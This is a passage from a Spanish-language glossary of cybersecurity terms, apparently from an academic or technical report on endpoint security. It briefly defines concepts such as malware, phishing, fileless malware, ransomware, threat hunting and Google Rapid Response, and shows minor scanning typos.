gue reune todo el trabajo necesario para completar un proyecto basado
en hitos y entregables.

Endpoint: Cualquier dispositivo con capacidades de poseer una
direccion IP permitida para interactuar al interior de una organizacion.

Gartner: Es una firma global que se dedica a la investigacion y brinda
asesoramiento e informacion relevante para la toma de decisiones
estratégica de las organizaciones en finanzas, recursos humanos,
servicio al cliente, mercadeo, cumplimiento regulatorio y tecnologia.

GRR: Google Rapid Response, solucion de seguridad enfocada a la
recoleccion e investigacion de informacion sobre Endpoints en forma
remota.

IBM: Acréonimo de la empresa americana International Business
Machines Corporation.

loT: Denominacion que se ha proporcionado a los objetos de la
cotidianidad que tienen una interfaz o conexién que les permite hacer
parte de Internet, ser reconocidos en una red y tener la capacidad de
enviar y recibir flujos de datos.
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Malware: Hace referencia al tipo de software maligno que busca afectar
un sistema informético permitiendo su acceso u otros tipos de acciones
no consentidas por el duefio del sistema y/o su informacion almacenada.

Phishing: Es un concepto informatico que involucra técnicas de engafio
mediante la suplantacion de un usuario u organizacion de confianza a la
victima como puede ser su entidad bancaria, para solicitar informacion
de tipo confidencial como claves de acceso a sistemas, informacién de
tarjetas de crédito, entre otros.

PoC: Acrénimo de Proof of Concept, lo que traduce al espafiol como
"Prueba de Concepto". Es la realizacion de un método o idea para
demostrar su viabilidad, busca comprobar a través de un experimento
acotado y practico, las potencialidades de implementacion futura de una
solucién a través de un proyecto.

Powershell: Marco de trabajo para la administracion y automatizacion
de tareas de Microsoft, consistente en una consola de comandos y un
lenguaje de scripting o algoritmico asociado.

Fileless malware: Amenazas maliciosas cuya ejecucion no se basa en
la copia y lectura de informacion desde un archivo alojado en un soporte
de largo plazo como el disco duro de un sistema, sino que su codigo es
interpretado directamente desde la memoria RAM.

Ransomware: Subcategoria de software malicioso que cifra e impide el
acceso a documentos creados por el usuario de un sistema informatico
solicitando el pago de una extorsion mediante criptomonedas para
recibir una clave para recuperar la legibilidad de los datos.

Threat hunting: Concepto traducido al castellano como “caza de
amenazas”, consiste en la busqueda de actividad anormal en servidores
y estaciones de trabajo que pueden significar signos de compromiso en
seguridad como intrusiones o exfiltracion de datos.

Troyano: Un caballo de Troya o troyano es un tipo de malware que
busca percibirse ante el usuario como software legitimo o que no realiza
acciones maliciosas, son usados como parte de penetraciones a
sistemas con fines de espionaje, acceso, manipulacion de objetos
remotamente y robo de informacién, entre otros.

Open-source: Traducido al castellano como codigo abierto, es un
término de tecnologia que se refiere al tipo de software en el cual su
coédigo es liberado para implementacion sin animo de lucra y con
posibilidades de modificaciones al mismo.
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